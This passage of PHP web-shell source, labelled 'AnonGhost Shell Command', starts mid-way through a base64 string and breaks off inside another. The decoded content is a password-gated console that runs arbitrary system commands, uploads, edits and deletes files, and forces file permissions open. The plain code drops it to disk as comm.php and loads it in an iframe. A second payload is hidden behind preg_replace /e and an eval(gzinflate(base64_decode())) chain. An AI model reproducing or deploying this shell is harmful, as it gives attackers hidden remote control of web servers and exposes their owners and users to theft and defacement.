EiLCRyZXN1bHQpOw0KCQkJCQlmb3JlYWNoKCRyZXN1bHQgYXMgJG91dHB1dCkNCgkJCQkJew0KCQkJCQkJcHJpbnQgJG91dHB1dC4iPGJyPiI7DQoJCQkJCX0NCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQlpZihmdW5jdGlvbl9leGlzdHMoc3lzdGVtKSkNCgkJCQl7DQoJCQkJCXN5c3RlbSgkY21kKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJaWYoZnVuY3Rpb25fZXhpc3RzKHNoZWxsX2V4ZWMpKQ0KCQkJCQl7DQoJCQkJCQlwcmludCBzaGVsbF9leGVjKCRjbWQpOw0KCQkJCQl9DQoJCQkJCQllbHNlDQoJCQkJCQl7DQoJCQkJCQlwcmludCAiU29ycnksIG5vbmUgb2YgdGhlIGNvbW1hbmQgZnVuY3Rpb25zIHdvcmtzLiI7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoNCgllbHNlaWYoaXNzZXQoJF9HRVRbJ3NhdmVmaWxlJ10pICYmICFlbXB0eSgkX1BPU1RbJ2ZpbGV0b3NhdmUnXSkgJiYgIWVtcHR5KCRfUE9TVFsnZmlsZWNvbnRlbnQnXSkpDQoJew0KCQkkZmlsZSA9ICRfUE9TVFsnZmlsZXRvc2F2ZSddOw0KCQlpZighaXNfd3JpdGFibGUoJGZpbGUpKQ0KCQl7DQoJCQlpZighY2htb2QoJGZpbGUsIDA3NzcpKQ0KCQkJew0KCQkJCWRpZSgiTm9wZSwgY2FuJ3QgY2htb2Qgbm9yIHNhdmUgOigiKTsgLy9JbiBmYWN0LCBub2JvZHkgZXZlciByZWFkcyB0aGlzIG1lc3NhZ2UgXl9eDQoJCQl9DQoJCX0NCgkJDQoJCSRmaCA9IGZvcGVuKCRmaWxlLCAndycpOw0KCQkkZHQgPSAkX1BPU1RbJ2ZpbGVjb250ZW50J107DQoJCWZ3cml0ZSgkZmgsICRkdCk7DQoJCWZjbG9zZSgkZmgpOw0KCX0NCgllbHNlDQoJew0KPz4NCjxodG1sPg0KPHRpdGxlPkFub25HaG9zdCBTaGVsbCBDb21tYW5kPC90aXRsZT4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXdpbmRvd3MtMTI1NCIgLz4NCjxoZWFkPjxsaW5rIHJlbD0ic2hvcnRjdXQgaWNvbiIgaHJlZj0iaHR0cDovL3d3dy5pY29uai5jb20vaWNvL3ovcC96cHNpOTBsZmM3LmljbyIgdHlwZT0iaW1hZ2UveC1pY29uIiAvPg0KPD9waHAgcHJpbnQgJHN0eWxlOyA/Pg0KPFNDUklQVCBUWVBFPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZnVuY3Rpb24gc2YoKXtkb2N1bWVudC5jbWRmb3JtLmNvbW1hbmQuZm9jdXMoKTt9DQp2YXIgb3V0cHV0Y21kID0gIiI7DQp2YXIgY21kaGlzdG9yeSA9ICIiOw0KZnVuY3Rpb24gQ2xlYXJTY3JlZW4oKQ0Kew0KCW91dHB1dGNtZCA9ICIiOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdvdXRwdXQnKS5pbm5lckhUTUwgPSBvdXRwdXRjbWQ7DQp9DQoNCmZ1bmN0aW9uIENsZWFySGlzdG9yeSgpDQp7DQoJY21kaGlzdG9yeSA9ICIiOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdoaXN0b3J5JykuaW5uZXJIVE1MID0gY21kaGlzdG9yeTsNCn0NCg0KZnVuY3Rpb24gZGVsZXRlZmlsZShmaWxlKQ0Kew0KCWRlbGV0ZWl0ID0gd2luZG93LmNvbmZpcm0oIkFyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGVcbiIrZmlsZSsiPyIpOw0KCWlmKGRlbGV0ZWl0KQ0KCXsNCgkJcnVuY29tbWFuZCgnZGVsZXRlZmlsZSAnICsgZmlsZSwnR0VUJyk7DQoJfQ0KfQ0KDQp2YXIgaHR0cF9yZXF1ZXN0ID0gZmFsc2U7DQpmdW5jdGlvbiBtYWtlUE9TVFJlcXVlc3QodXJsLCBwYXJhbWV0ZXJzKSB7DQogIGh0dHBfcmVxdWVzdCA9IGZhbHNlOw0KICBpZiAod2luZG93LlhNTEh0dHBSZXF1ZXN0KSB7DQoJIGh0dHBfcmVxdWVzdCA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOw0KCSBpZiAoaHR0cF9yZXF1ZXN0Lm92ZXJyaWRlTWltZVR5cGUpIHsNCgkJaHR0cF9yZXF1ZXN0Lm92ZXJyaWRlTWltZVR5cGUoJ3RleHQvaHRtbCcpOw0KCSB9DQogIH0gZWxzZSBpZiAod2luZG93LkFjdGl2ZVhPYmplY3QpIHsNCgkgdHJ5IHsNCgkJaHR0cF9yZXF1ZXN0ID0gbmV3IEFjdGl2ZVhPYmplY3QoIk1zeG1sMi5YTUxIVFRQIik7DQoJIH0gY2F0Y2ggKGUpIHsNCgkJdHJ5IHsNCgkJICAgaHR0cF9yZXF1ZXN0ID0gbmV3IEFjdGl2ZVhPYmplY3QoIk1pY3Jvc29mdC5YTUxIVFRQIik7DQoJCX0gY2F0Y2ggKGUpIHt9DQoJIH0NCiAgfQ0KICBpZiAoIWh0dHBfcmVxdWVzdCkgew0KCSBhbGVydCgnQ2Fubm90IGNyZWF0ZSBYTUxIVFRQIGluc3RhbmNlJyk7DQoJIHJldHVybiBmYWxzZTsNCiAgfQ0KICANCg0KICBodHRwX3JlcXVlc3Qub3BlbignUE9TVCcsIHVybCwgdHJ1ZSk7DQogIGh0dHBfcmVxdWVzdC5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LXR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7DQogIGh0dHBfcmVxdWVzdC5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LWxlbmd0aCIsIHBhcmFtZXRlcnMubGVuZ3RoKTsNCiAgaHR0cF9yZXF1ZXN0LnNldFJlcXVlc3RIZWFkZXIoIkNvbm5lY3Rpb24iLCAiY2xvc2UiKTsNCiAgaHR0cF9yZXF1ZXN0LnNlbmQocGFyYW1ldGVycyk7DQp9DQoNCg0KZnVuY3Rpb24gU2F2ZUZpbGUoKQ0Kew0KdmFyIHBvc3RzdHIgPSAiZmlsZXRvc2F2ZT0iICsgZW5jb2RlVVJJKCBkb2N1bWVudC5zYXZlZm9ybS5maWxldG9zYXZlLnZhbHVlICkgKw0KICAgICAgICAgICAgICAgICAgICAiJmZpbGVjb250ZW50PSIgKyBlbmNvZGVVUkkoIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJhcmVhMSIpLnZhbHVlICk7DQptYWtlUE9TVFJlcXVlc3QoJzw/cGhwIHByaW50ICRUaGlzRmlsZTsgPz4/c2F2ZWZpbGUnLCBwb3N0c3RyKTsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdvdXRwdXQnKS5pbm5lckhUTUwgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnb3V0cHV0JykuaW5uZXJIVE1MICsgIjxicj48Yj5TYXZlZCEgSWYgaXQgZGlkbid0IHNhdmUsIHlvdSdsbCBuZWVkIHRvIGNobW9kIHRoZSBmaWxlIHRvIDc3NyB5b3Vyc2VsZiw8YnI+IGhvd2V2ZXIgdGhlIHNjcmlwdCB0cmllZCB0byBjaG1vZCBpdCBhdXRvbWF0aWNseS4iOw0KfQ0KDQpmdW5jdGlvbiBydW5jb21tYW5kKHVybHRvb3BlbixhY3Rpb24sY29udGVudHRvc2VuZCl7DQpjbWRoaXN0b3J5ID0gIjxicj4mbmJzcDs8aSBzdHlsZT1cImN1cnNvcjpwb2ludGVyXCIgb25jbGljaz1cImRvY3VtZW50LmNtZGZvcm0uY29tbWFuZC52YWx1ZT0nIiArIHVybHRvb3BlbiArICInXCI+IiArIHVybHRvb3BlbiArICI8L2k+ICIgKyBjbWRoaXN0b3J5Ow0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2hpc3RvcnknKS5pbm5lckhUTUwgPSBjbWRoaXN0b3J5Ow0KaWYodXJsdG9vcGVuID09ICJjbGVhciIpDQp7DQpDbGVhclNjcmVlbigpOw0KfQ0KICAgIHZhciBhamF4UmVxdWVzdDsNCiAgICB0cnl7DQogICAgICAgIGFqYXhSZXF1ZXN0ID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7DQogICAgfSBjYXRjaCAoZSl7DQogICAgICAgIHRyeXsNCiAgICAgICAgICAgIGFqYXhSZXF1ZXN0ID0gbmV3IEFjdGl2ZVhPYmplY3QoIk1zeG1sMi5YTUxIVFRQIik7DQogICAgICAgIH0gY2F0Y2ggKGUpIHsNCiAgICAgICAgICAgIHRyeXsNCiAgICAgICAgICAgICAgICBhamF4UmVxdWVzdCA9IG5ldyBBY3RpdmVYT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpOw0KICAgICAgICAgICAgfSBjYXRjaCAoZSl7DQogICAgICAgICAgICAgICAgYWxlcnQoIldpY2tlZCBlcnJvciwgbm90aGluZyB3ZSBjYW4gZG8gYWJvdXQgaXQuLi4iKTsNCiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgYWpheFJlcXVlc3Qub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24oKXsNCiAgICAgICAgaWYoYWpheFJlcXVlc3QucmVhZHlTdGF0ZSA9PSA0KXsNCiAgICAgICAgb3V0cHV0Y21kID0gIjxwcmU+IiAgKyBvdXRwdXRjbWQgKyBhamF4UmVxdWVzdC5yZXNwb25zZVRleHQgKyI8L3ByZT4iOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ291dHB1dCcpLmlubmVySFRNTCA9IG91dHB1dGNtZDsNCiAgICAgICAgICAgIHZhciBvYmpEaXYgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgib3V0cHV0Iik7DQoJCQlvYmpEaXYuc2Nyb2xsVG9wID0gb2JqRGl2LnNjcm9sbEhlaWdodDsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBhamF4UmVxdWVzdC5vcGVuKGFjdGlvbiwgIj9ydW5jbWQ9Iit1cmx0b29wZW4gLCB0cnVlKTsNCglpZihhY3Rpb24gPT0gIkdFVCIpDQoJew0KICAgIGFqYXhSZXF1ZXN0LnNlbmQobnVsbCk7DQoJfQ0KICAgIGRvY3VtZW50LmNtZGZvcm0uY29tbWFuZC52YWx1ZT0nJzsNCiAgICByZXR1cm4gZmFsc2U7DQp9DQoNCmZ1bmN0aW9uIHNldF90YWJfaHRtbChuZXdodG1sKQ0Kew0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NvbW1hbmR0YWInKS5pbm5lckhUTUwgPSBuZXdodG1sOw0KfQ0KDQpmdW5jdGlvbiBzZXRfdGFiKG5ld3RhYikNCnsNCglpZihuZXd0YWIgPT0gImNtZCIpDQoJew0KCQluZXdodG1sID0gJyZuYnNwOyZuYnNwOyZuYnNwOzxmb3JtIG5hbWU9ImNtZGZvcm0iIG9uc3VibWl0PSJyZXR1cm4gcnVuY29tbWFuZChkb2N1bWVudC5jbWRmb3JtLmNvbW1hbmQudmFsdWUsXCdHRVRcJyk7Ij48Yj5Db21tYW5kPC9iPjogPGlucHV0IHR5cGU9dGV4dCBuYW1lPWNvbW1hbmQgY2xhc3M9Y21kdGhpbmcgc2l6ZT0xMDAlPjxicj48L2Zvcm0+JzsNCgl9DQoJZWxzZSBpZihuZXd0YWIgPT0gInVwbG9hZCIpDQoJew0KCQlydW5jb21tYW5kKCd1cGxvYWQnLCdHRVQnKTsNCgkJbmV3aHRtbCA9ICc8Zm9udCBzaXplPTA+PGI+UGFnZSByZWZyZXNoLi4uPC9iPjxicj48YnI+PGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSI8P3BocCBwcmludCAkVGhpc0ZpbGU7ID8+IiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ik1BWF9GSUxFX1NJWkUiIHZhbHVlPSIxMDAwMDAwMCIgLz5Eb3N5YSBzZcOnOiA8aW5wdXQgbmFtZT0idXBsb2FkZWRmaWxlIiB0eXBlPSJmaWxlIiAvPjxiciAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGxvYWQgRmlsZSIgLz48L2Zvcm0+PC9mb250Pic7DQoJfQ0KCWVsc2UgaWYobmV3dGFiID09ICJ3b3JraW5nZGlyIikNCgl7DQoJCTw/cGhwDQoJCSRmb2xkZXJzID0gIjxmb3JtIG5hbWU9d29ya2RpciBvbnN1Ym1pdD1cInJldHVybiBydW5jb21tYW5kKFwnY2hhbmdld29ya2RpciBcJyArIGRvY3VtZW50LndvcmtkaXIuY2hhbmdld29ya2Rpci52YWx1ZSxcJ0dFVFwnKTtcIj48aW5wdXQgc2l6ZT04MCUgdHlwZT10ZXh0IG5hbWU9Y2hhbmdld29ya2RpciB2YWx1ZT1cIiI7DQoJCSRwYXRocGFydHMgPSBleHBsb2RlKCIvIixyZWFscGF0aCAoIi4iKSk7DQoJCWZvcmVhY2goJHBhdGhwYXJ0cyBhcyAkZm9sZGVyKQ0KCQl7DQoJCSRmb2xkZXJzIC49ICRmb2xkZXIuIi8iOw0KCQl9DQoJCSRmb2xkZXJzIC49ICJcIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Q2hhbmdlPjwvZm9ybT48YnI+U2NyaXB0IGRpcmVjdG9yeTogPGkgc3R5bGU9XCJjdXJzb3I6cG9pbnRlclwiICBvbmNsaWNrPVwiZG9jdW1lbnQud29ya2Rpci5jaGFuZ2V3b3JrZGlyLnZhbHVlPVwnIi5kaXJuYW1lKF9fRklMRV9fKS4iXCc+Ii5kaXJuYW1lKF9fRklMRV9fKS4iPC9pPiI7DQoNCgkJPz4NCgkJbmV3aHRtbCA9ICc8P3BocCBwcmludCAkZm9sZGVyczsgPz4nOw0KCX0NCgllbHNlIGlmKG5ld3RhYiA9PSAiZmlsZWJyb3dzZXIiKQ0KCXsNCgkJbmV3aHRtbCA9ICc8Yj5GaWxlIGJyb3dzZXIgaXMgdW5kZXIgY29uc3RydWN0aW9uISBVc2UgYXQgeW91ciBvd24gcmlzayE8L2I+IDxicj5Zb3UgY2FuIHVzZSBpdCB0byBjaGFuZ2UgeW91ciB3b3JraW5nIGRpcmVjdG9yeSBlYXNpbHksIGRvblwndCBleHBlY3QgdG9vIG11Y2ggb2YgaXQuPGJyPkNsaWNrIG9uIGEgZmlsZSB0byBlZGl0IGl0Ljxicj48aT5bV108L2k+ID0gc2V0IGRpcmVjdG9yeSBhcyB3b3JraW5nIGRpcmVjdG9yeS48YnI+PGk+W0RdPC9pPiA9IGRlbGV0ZSBmaWxlL2RpcmVjdG9yeSc7DQoJCXJ1bmNvbW1hbmQoJ2xpc3RkaXIgLicsJ0dFVCcpOw0KCX0NCgllbHNlIGlmKG5ld3RhYiA9PSAiY3JlYXRlZmlsZSIpDQoJew0KCQluZXdodG1sID0gJzxiPkZpbGUgRWRpdG9yLCB1bmRlciBjb25zdHJ1Y3Rpb24uPC9iPic7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdvdXRwdXQnKS5pbm5lckhUTUwgPSAiPGZvcm0gbmFtZT1cInNhdmVmb3JtXCI+PHRleHRhcmVhIGNvbHM9NzAgcm93cz0xMCBpZD1cImFyZWExXCI+PC90ZXh0YXJlYT48YnI+PGlucHV0IHNpemU9ODAgdHlwZT10ZXh0IG5hbWU9ZmlsZXRvc2F2ZSB2YWx1ZT1cIjw/cGhwIHByaW50IHJlYWxwYXRoKCcuJykuIi8iLnJhbmQoMTAwMCw5OTk5OTkpLiIudHh0IjsgPz5cIj48aW5wdXQgdmFsdWU9XCJTYXZlXCIgdHlwZT1idXR0b24gb25jbGljaz1cIlNhdmVGaWxlKCk7XCI+PC9mb3JtPiI7DQoJCQ0KCX0NCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NvbW1hbmR0YWInKS5pbm5lckhUTUwgPSBuZXdodG1sOw0KfQ0KPC9zY3JpcHQ+DQo8L2hlYWQ+DQo8Ym9keSBiZ2NvbG9yPWJsYWNrIG9ubG9hZD0ic2YoKTsiIHZsaW5rPXdoaXRlIGFsaW5rPXdoaXRlIGxpbms9d2hpdGU+DQo8dGFibGUgYm9yZGVyPTEgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJT4NCjx0ZCB3aWR0aD0xNSUgdmFsaWduPXRvcD4NCg0KPGZvcm0gbmFtZT0iZXh0cmFzIj48YnI+DQo8Y2VudGVyPjxiPlF1aWNrIENvbW1hbmRzPC9iPjxicj4NCg0KPGRpdiBzdHlsZT0nbWFyZ2luOiAwcHg7cGFkZGluZzogMHB4O2JvcmRlcjogMXB4IGluc2V0O292ZXJmbG93OiBhdXRvJz4NCjw/cGhwDQpmb3JlYWNoKCRmdW5jdGlvbnMgYXMgJG5hbWUgPT4gJGV4ZWN1dGUpDQp7DQpwcmludCAnJm5ic3A7PGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9IicuJG5hbWUuJyIgb25jbGljaz0iJy4kZXhlY3V0ZS4nIj48YnI+JzsNCn0NCj8+DQoNCjwvY2VudGVyPg0KDQo8L2Rpdj4NCjwvZm9ybT4NCjxjZW50ZXI+PGI+Y29tbWFuZCBBcmNoaXZlPC9iPjxicj48L2NlbnRlcj4NCjxkaXYgaWQ9Imhpc3RvcnkiIHN0eWxlPSdtYXJnaW46IDBweDtwYWRkaW5nOiAwcHg7Ym9yZGVyOiAxcHggaW5zZXQ7d2lkdGg6IDEwMCU7aGVpZ2h0OiAyMCU7dGV4dC1hbGlnbjogbGVmdDtvdmVyZmxvdzogYXV0bztmb250LXNpemU6IDEwcHg7Jz48L2Rpdj4NCjxicj4NCjxjZW50ZXI+PGI+QWJvdXQ8L2I+PGJyPjwvY2VudGVyPg0KPGRpdiBzdHlsZT0nbWFyZ2luOiAwcHg7cGFkZGluZzogMHB4O2JvcmRlcjogMXB4IGluc2V0O3dpZHRoOiAxMDAlO3RleHQtYWxpZ246IGNlbnRlcjtvdmVyZmxvdzogYXV0bzsgZm9udC1zaXplOiAxMHB4Oyc+DQo8YnI+DQo8Yj48Zm9udCBzaXplPTM+U2hlbGwgQ29tbWFuZDwvYj48L2ZvbnQ+PGJyPlJlY29kZWQgYnkgVmlydXNhIFdvcm0NCjxicj4NClZlcnNpb24gPD9waHAgcHJpbnQgJHZlcnNpb247ID8+DQo8L2Rpdj4NCg0KPC90ZD4NCjx0ZCB3aWR0aD03MCU+DQo8dGFibGUgYm9yZGVyPTAgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJT48dGQgaWQ9InRhYnMiIGhlaWdodD0xJT48Zm9udCBzaXplPTA+DQo8YiBzdHlsZT0iY3Vyc29yOnBvaW50ZXIiIG9uY2xpY2s9InNldF90YWIoJ2NtZCcpOyI+W0V4ZWN1dGUgQ29tbWFuZF08L2I+IA0KPGIgc3R5bGU9ImN1cnNvcjpwb2ludGVyIiBvbmNsaWNrPSJzZXRfdGFiKCd1cGxvYWQnKTsiPltGaWxlIFVwbG9hZF08L2I+IA0KPGIgc3R5bGU9ImN1cnNvcjpwb2ludGVyIiBvbmNsaWNrPSJzZXRfdGFiKCd3b3JraW5nZGlyJyk7Ij5bSW5kZXggQ2hhbmdlXTwvYj4gDQo8YiBzdHlsZT0iY3Vyc29yOnBvaW50ZXIiIG9uY2xpY2s9InNldF90YWIoJ2ZpbGVicm93c2VyJyk7Ij5bRmlsZSBNYW5hZ2VyXTwvYj4gDQo8YiBzdHlsZT0iY3Vyc29yOnBvaW50ZXIiIG9uY2xpY2s9InNldF90YWIoJ2NyZWF0ZWZpbGUnKTsiPltDcmVhdGUgRmlsZV08L2I+IA0KDQo8L2ZvbnQ+PC90ZD4NCjx0cj4NCjx0ZCBoZWlnaHQ9OTklIHdpZHRoPTEwMCUgdmFsaWduPXRvcD48ZGl2IGlkPSJvdXRwdXQiIHN0eWxlPSdoZWlnaHQ6MTAwJTt3aGl0ZS1zcGFjZTpwcmU7b3ZlcmZsb3c6YXV0byc+PC9kaXY+DQoNCjx0cj4NCjx0ZCAgaGVpZ2h0PTElIHdpZHRoPTEwMCUgdmFsaWduPXRvcD4NCjxkaXYgaWQ9ImNvbW1hbmR0YWIiIHN0eWxlPSdoZWlnaHQ6MTAwJTt3aGl0ZS1zcGFjZTpwcmU7b3ZlcmZsb3c6YXV0byc+DQombmJzcDsmbmJzcDsmbmJzcDs8Zm9ybSBuYW1lPSJjbWRmb3JtIiBvbnN1Ym1pdD0icmV0dXJuIHJ1bmNvbW1hbmQoZG9jdW1lbnQuY21kZm9ybS5jb21tYW5kLnZhbHVlLCdHRVQnKTsiPg0KPGI+Y29tbWFuZCBMaW5lPC9iPjogPGlucHV0IHR5cGU9dGV4dCBuYW1lPWNvbW1hbmQgY2xhc3M9Y21kdGhpbmcgc2l6ZT0xMDAlPjxicj4NCjwvZm9ybT4NCjwvZGl2Pg0KPC90ZD4NCjwvdGFibGU+DQo8L3RkPg0KPC90YWJsZT4NCjwvYm9keT4NCjwvaHRtbD4NCjw/cGhwDQp9DQp9IGVsc2Ugew0KcHJpbnQgIjx0aXRsZT4tWyBBbm9uR2hvc3QgU2hlbGwgQ29tbWFuZCBdLTwvdGl0bGU+PGxpbmsgcmVsPSdzaG9ydGN1dCBpY29uJyBocmVmPSdodHRwOi8vd3d3Lmljb25qLmNvbS9pY28vei9wL3pwc2k5MGxmYzcuaWNvJyB0eXBlPSdpbWFnZS94LWljb24nIC8+PGNlbnRlcj48dGFibGUgYm9yZGVyPTAgIGhlaWdodD0xMDAlPg0KPHRkIHZhbGlnbj1taWRkbGU+DQo8Zm9ybSBhY3Rpb249Ii5iYXNlbmFtZShfX0ZJTEVfXykuIiBtZXRob2Q9UE9TVD48Yj5FbnRlciB5b3VyIFBhc3N3b3JkIDxpbWcgc3JjPSdodHRwOi8vbC55aW1nLmNvbS91cy55aW1nLmNvbS9pL21lc2cvZW1vdGljb25zNy8xMDYuZ2lmJyAvPiA8L2I+PGJyPjxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cDRzc3cwckQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiTG9nIGluXCI+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8c3R5bGU+DQoqe2ZvbnQtZmFtaWx5OkNvdXJpZXIgTmV3O30NCmRpdnthbGlnbjpjZW50ZXI7LW1vei1ib3JkZXItcmFkaXVzOjNweDtib3JkZXItcmFkaXVzOjNweDtib3JkZXI6MnB4IGRhc2hlZCAjNThGQUY0O21hcmdpbjo0cHggMCA2cHg7cGFkZGluZzo4cHggNnB4O30NCmJvZHl7YmFja2dyb3VuZDojMTAxMDEwO2ZvbnQtc2l6ZToxNHB4O2NvbG9yOiM1OEZBRjQ7Zm9udC13ZWlnaHQ6NDAwO30NCmF7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fQ0KYTpob3Zlcntjb2xvcjojOTk5OTk5O30NCjwvc3R5bGU+DQo8L3RkPjwvdHI+DQoiOw0KfQ0KPz4=';  $file = fopen("comm.php" ,"w+"); $write = fwrite ($file ,base64_decode($comm)); fclose($file); chmod("comm.php",0755); echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Shell Command</b></p><iframe src=comm.php width=70% height=60% frameborder=0></iframe>"; } elseif(isset($_GET['cmby'])) { $comby ='PD9waHAgLy8tLSBjb2RlYyBieSBBbm9uR2hvc3QgLS0vLw0KcHJlZ19yZXBsYWNlKCIvLiovZSIsIlx4NjVceDc2XHg2MVx4NkNceDI4XHg2N1x4N0FceDY5XHg2RVx4NjZceDZDXHg2MVx4NzRceDY1XHgyOFx4NjJceDYxXHg3M1x4NjVceDM2XHgzNFx4NUZceDY0XHg2NVx4NjNceDZGXHg2NFx4NjVceDI4J2xackxqdVM2RVVUM0J2d1BnOEZkMkp1TGtzZ2tTeGo0VDJxamVxMjhOdWJ6WFl3OElXcmF4Z0IzVWVoNjZKSE1qSXlJcFBxUG40LzM0L250MjUvLyt2Yjk5ck5mUHEvMTlyUEY1OVZ2UCtNOVA0L2YydVB6V2o2dmt0K3QxOC9yOC92Nk9XNTlmVjU3dnRkdjQvdEgvbzNQMy80NXRyVFBLMDZmZTM3M3krL0xyNTlyT1gzK1hLdGN2eHpmZjcxZS9YSisyYjVjTDc3ODNuNXp2Ni94akhqcmI5YnovK0w3dXY2djEvdDZ2L1AxeXBmNHlwZjdmNDZ0WC9QM3UvamEvOTd2TDUzUCt0WlAzUDFUNnhqbmZqN1g4ZnFjMXlPUHEvZThidnU4K3BiSGpOL0d2ZHN6YTZRNnJET21YamgzL1BiSSs2NzMvSzc3SGdON05WK2pUbnIvd1YzYjg2K08rZUF2dHNUdGlOZFlIVGdvbDd4Lzczbk0rRzNjbzIyNUZxM2hralhxdkVic0FVNEg5a2ZOeGxxT1BuaGx2RjZyYWhwNURXRnB4Tit5TDhhYWxiOTM1bm1jcC9lZjh5cXhhdDN2Zk1WbDVuZmtlNXd6cnFVOGdLWHhYYnVEdTU3SGo4K1Z0WTE0Rk9OS3pEMnZvWE9XUEthKzhtOFEwNGluWGZNZXFrZkw2NC96dStzVjNKdWUwdm9YTURwd1VEUFBXdDg0OTUzblY3NGI5OVQ2YXRZcXlLM3FCR2JHNzhKWnordUxXMGF1TnU1VFptNkZ4WVZ6RnRiMG5qVWU5eG0vTlRDb1B0eE91US9xUjQ2RnZSMStvVmNILzQxcmovUDErMWo3Y3g3WDFzUlFrSU9CUy9FbmZUWnljQnpmcUN1WVZFNUsxbWVzYStSZDJGOHlsNDY5a0JOaG4zNFlPVzF3Z1RDeDVUR2pENFBlS3RRODNFLzM3SlhxZTF4WjM1N1gwK2MxYStqK1Z1OHMrZjJJbzRLN1FrODZ6eU9QNnZNZ3RwMVh6OCtqVnRLYVJ1OXRIRnV5MW9xdEp3YlZhMnZlUTdWaFBRTUQzVmdMNHFsb0ZHdFMvejh5ZjZyNUNxNTNzTHhsRGhxOHJwajNqQzMyWExmdzI2a3ZlcWllcWZSNHpldU82eFIwczdXSlY1OHJURjh5WDhyeE00OEpkRld4VkdwN0JaZmtjaHlqR3V5SjY3Sk1ySTZhR3J1Vi9tem96amgyNUZIOEZPZ2oyQnA1Rnk3djhGck4rNDY0S2hxdTljSmZJNy9LQVhrVmJ6WjhBcGpUZW8zUkZlejNHYWZxdGVYeGpUeW9WeDFEeVY3czVwNDFZeDNZVmM5c1didFJlOTAzNW4xR3pYVDhZMkpsWUZKeDE4emQ0RUVkdTNFUGNxR2FyT0R2UWg2V3lTL2ozSEw5L3VQdmYvdmo1enVlTC9zbDFiN3d0MmRkR253cTNVWjNwRFgzaytZVlByOVAya2tlT3p5cXZGMnAzWXMxbmZVV0xIUTRSN3BISDBlZGRRLzM3enZYTldJU1h6ODV2cC9XSEpNamhQSG4xR3dkYytjYWFMLzdTdDVnNFY1UFluclJFM0N4ZTA4ZW9jRVQxdUdXdFFnNFU3RSs4eGozcFhCdHJpdDVUV2xPbVRudStKT0JYYTN6VGg4RU9VYkhoSVU3R2xVeTVnQUQwcWczdkFuSEJyMmc2NkJsT3BlK2tUNWNpYVZuamNXeEs5ejJJQzc4YWdmRDlyOERvNEdua0g5dGVZNXd1b0RialdPZTZCYTRWWjd4NStZTWNaQjdDZzZVTDJDZDQ5b1ZUcTM0TG5FRFBTQnVSUmNySENac3dBWEdheWRuQVlhRlNUUkR1WHRuUGVWVDE5a0RnM3VrZitZQzZ6bFlsVStEVTVTSGxiWGpsdzRQODhoekR5OTlnZHZlNEI4c1dUc0RMbEh1WXZhampzT0hpUC94VUFVc3FNYm00VWZlVit0NTRqdldFMCszeVF1cTZ3WE0ydlBDU1oxZVZxOCtULzJDZGdsL0hjMDBGdUJWNDBuNWVlV2E1YWUyeEh5NHo4bERRMmV0My9heTZwOHJQSUFXeHNtREhiM1E4SlliYTRVYkJ5NERqWmNlV1RNYXZlajR6YUgycnRmSko5WU01WTlqeThtdkt6LzREZlVzR08zVWUrQmJtZ2xYMjdPbzFndDRRcWZIYjRPNzVDZThQdWVUZkVoYjdBazUzbjNheUdrNzhiRHUvY2FueHRTaGZzTEIrRTU2dVUrdHJjd05GWDlTeTZrbkE1K0R4em04ZHVHY04zeFZzeDdLOFRieDBzMmp5KzJZZVZhOHA3U0EvbTdNWDlHbmYxWWM3L2xlY1JjOFNzbTF5bWN6cnlnMmVLTFRPK0szd2pVdk15YkYva3lNaWdzOWgxaExtQUdFNVIwK3ZhQkQ1dmVBL3k3Wkk0cU5tY0NlUlh6aTJyemdJK2FuaGhZby9vMTRkblNJK3FtUDdDM1JnV1B1WTdZcDhMUzRsWG12bVk4TGVGalFGTGhDZXJ3VDMwWnU4WXlxd3c3ZTZPTnFmYlAvZk1BZDlKcnJYOXZVY25sNS9HdHp2djBiM2xyYUFJYXNYNTZQZ3JuYWM0RjY5bjN5TnZpcjh4d1ErTmJLL0pDNVRMKzB2dGZOZnFrUld5a3pGcTIzSkljY00rYUt2c0kxc2MxWkxUeG5NL3RJRndvK0V0MVRMaGJtMzVqOHFubk1zOVNidW